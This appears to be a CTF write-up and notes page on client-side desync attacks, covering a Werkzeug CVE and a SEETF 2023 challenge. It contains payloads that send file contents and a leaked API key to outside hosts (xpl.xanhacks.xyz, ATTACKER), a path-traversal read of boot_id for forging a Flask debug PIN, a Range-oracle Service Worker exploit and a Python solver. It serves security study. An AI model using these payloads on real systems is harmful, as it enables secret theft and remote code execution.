Skip to content

Categories

Client Side Desync Attack

https://mizu.re/post/abusing-client-side-desync-on-werkzeughttps://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/now-you-c-meSetup. 3 services in one net namespace: Node proxy:3000 (rever...

Created

Updated

6 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

CVE Wergzeug 2.0.1 & 2.1.1

https://mizu.re/post/abusing-client-side-desync-on-werkzeug

Desynth Recruit - web

  1. Open Redirect => http://127.0.0.1:1337/go?to=//webhook.site
  2. Client Side Desync to XSS the bot https://mizu.re/post/abusing-client-side-desync-on-werkzeug
<form id="x" action="http://127.0.0.1:1337/" method="POST" enctype="text/plain"><textarea name="GET http://xpl.xanhacks.xyz:4444 HTTP/1.1Foo: x">Mizu</textarea><button type="submit">CLICK ME</button></form><script>x.submit()
</script>
  1. Read and exiltrate file used for generate Flask debug pin, ex:
var request = new XMLHttpRequest();request.open('GET', '/api/ipc_download?file=../../../../../proc/sys/kernel/random/boot_id', false);request.send();var flag = request.responseText;window.location.href = "http://xpl.xanhacks.xyz:4444?flag=" + flag;
  1. Generate PIN + RCE via /console

SEETF Client side desync attack

https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/now-you-c-me

EnD — sec-fetch-dest: scriptContent-Length: 0 response-splitting desync → proxy XSS → Range (206/416) prefix oracle

Attachments
References

Setup. 3 services in one net namespace: Node proxy:3000 (reverse proxy /view/<name>/…, strict CSP script-src 'self', /admin shows API_KEY, admin-cookie gated), Flask api:9090 (holds OAUTH_SECRET=flag, only reachable from the bot), Puppeteer bot (has admin cookie for the proxy, launches Chrome M126 with --unsafely-treat-insecure-origin-as-secure → proxy/attacker origins become secure contexts, and --disable-popup-blocking). Goal: read the flag from api /messages/search, which needs the API_KEY only visible on /admin.

Root cause / chain.

  1. Proxy "blocks scripts" by rewriting Content-Length: 0 for any Sec-Fetch-Dest: script response, but still proxyRes.pipe(res) the full upstream body → the extra bytes are a smuggled HTTP response (client-side response desync). Attacker registers a public page (/add), the proxied page ships many <script> tags; pool-exhaustion (hang most requests, 6-conn cap) forces a queued script onto the poisoned keep-alive connection which parses the smuggled application/javascript and executes same-origin on the proxy (defeating script-src 'self').
  2. That JS reads /admin with credentials:'include' (bot cookie is sent same-origin) → leaks API_KEY.
  3. api uses send_file(conditional=True) → honours HTTP Range. A prefix match echoes the whole flag (JSON len 44); no-match is {"results": []} (len 15). Range: bytes=15-15206 iff prefix matches, else 416 — a boolean prefix oracle observed cross-origin via a Service-Worker + <audio> Range side channel (Chromium issue 474435504). Binary/linear search recovers the flag char-by-char; on the 2-min bot timeout, resubmit with the recovered prefix.

Flag (local test build): flag{fak3_fl4g_f0r_t3st1ng} (real flag = OAUTH_SECRET).

Reproduction caveats (verified on the shipped stack: Chrome M126, Node 20).

  • Fully reproduced: SSRF-guard bypass, the Node Content-Length:0 body-leak (deterministic at the socket layer), the 206/416 Range oracle, and end-to-end flag recovery through that oracle.
  • The in-browser desync execution did not reproduce on stock M126 in a local harness: Node corks writeHead until the first body write (universal across Node 20.0–20.20/22, so CL:0 headers always ship with the smuggled body — no early-flush window), and M126 refuses to reuse a connection that has trailing bytes (CanReuseConnection). Both facts were measured directly. These are the author's deliberately hard, version/condition-sensitive steps; treat the browser desync + the exact CVE-474435504 observable as version-pinned.
  • Local-lab tip for SSRF-guarded proxies: put the attacker container on a public-looking Docker subnet (13.37.0.0/16) with a dotted extra_hosts name — passes both isPrivateIP() and isPublicHostname() against unmodified challenge code. See [[XSLeak]] for the Range/side-channel family.
why it is vulnerable
// proxy/app.js — the "defense" that becomes the bug
if (req.headers['sec-fetch-dest'] === 'script') {
    h['content-length'] = '0'      // tell the browser the body is empty...
    delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)                 // ...but pipe the FULL upstream body anyway ->
                                   // leftover bytes = a smuggled HTTP response on the socket
# api/app.py — prefix oracle + Range support
results = [m for m in _INBOX if m.startswith(q)]   # match -> body echoes full flag (len 44)
data = json.dumps({"results": results}).encode()   # no match -> {"results": []} (len 15)
return send_file(io.BytesIO(data), mimetype="application/json",
                 conditional=True)                 # conditional=True -> honours HTTP Range
# Range: bytes=15-15  ->  206 iff prefix matches (byte 15 exists only in the 44-byte body), else 416
exploit payload
# Attacker upstream response for /view/<name>/smuggle.js (Sec-Fetch-Dest: script).
# Proxy rewrites the OUTER response to Content-Length: 0 but pipes this body verbatim.
# The body is itself a complete HTTP response -> parsed by the next queued <script>.
HTTP/1.1 200 OK\r\n
Content-Type: text/plain\r\n
Content-Length: <len(inner)>\r\n
Connection: keep-alive\r\n
\r\n
<inner>= HTTP/1.1 200 OK\r\n
         Content-Type: application/javascript\r\n
         Content-Length: <len(js)>\r\n
         Connection: keep-alive\r\n
         \r\n
         <malicious js>
// <malicious js> runs same-origin on the proxy: leak API_KEY from /admin, beacon it out
fetch('/admin', {credentials:'include'}).then(r=>r.text()).then(h=>{
  const key = (h.match(/id="api-key">([^<]+)/)||[])[1];
  new Image().src = 'http://ATTACKER/beacon?key=' + key;   // img-src * allows the cross-origin GET
});
// oracle: SW on the (secure-context) attacker origin injects a threshold Range at the API
self.addEventListener('fetch', e => {
  const u = new URL(e.request.url); if (u.pathname !== '/media') return;
  const range = e.request.headers.get('range') || '';
  e.respondWith((async () => {
    if (range === 'bytes=0-')                      // fake a 44-byte seekable resource
      return new Response(new Uint8Array([0x49]), {status:206, headers:{
        'Content-Type':'audio/mpeg','Content-Range':'bytes 0-0/44','Accept-Ranges':'bytes','Content-Length':'1'}});
    // follow-up range -> forward to the real API; 206 (match) vs 416 (no match) leaks the bit
    return fetch(`${API}/messages/search?key=${KEY}&q=${encodeURIComponent(Q)}`,
                 {mode:'no-cors', headers:{'Range':'bytes=15-43'}});
  })());
});
solver
#!/usr/bin/env python3
# Recover the flag through the API's 206/416 Range prefix oracle. In the challenge this
# request is issued from inside the bot's browser (only host that can reach the API) with
# the API_KEY leaked from /admin; here we drive the identical oracle directly.
import argparse, http.client, urllib.parse, string, sys
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!?.@#$%^&*()+="

def oracle(host, port, key, prefix):
    conn = http.client.HTTPConnection(host, port, timeout=10)
    q = urllib.parse.quote(prefix, safe="")
    conn.request("GET", f"/messages/search?key={key}&q={q}",
                 headers={"Host": "api", "Range": "bytes=15-15"})
    r = conn.getresponse(); r.read(); conn.close()
    return r.status == 206   # 206 = prefix match, 416 = no match

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--api", default="http://127.0.0.1:9090")
    ap.add_argument("--key", required=True); ap.add_argument("--start", default="flag{")
    a = ap.parse_args(); u = urllib.parse.urlparse(a.api); host, port = u.hostname, u.port or 80
    flag = a.start
    while not flag.endswith("}"):
        for c in CHARSET:
            if oracle(host, port, a.key, flag + c): flag += c; print("[+]", flag, file=sys.stderr); break
        else: print("[!] charset exhausted at", flag, file=sys.stderr); break
    print(flag)

if __name__ == "__main__": main()
# API_KEY is derived: HMAC_SHA256(OAUTH_SECRET, "api-auth")[:16]; leaked from /admin in the real chain.
# Run from the bot's network position (the API is internal-only):
docker run --rm --network <compose>_backnet -v "$PWD/solver.py:/solver.py:ro" python:3.12-slim \
  python /solver.py --api http://api:9090 --key <API_KEY>
#  -> flag{fak3_fl4g_f0r_t3st1ng}

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.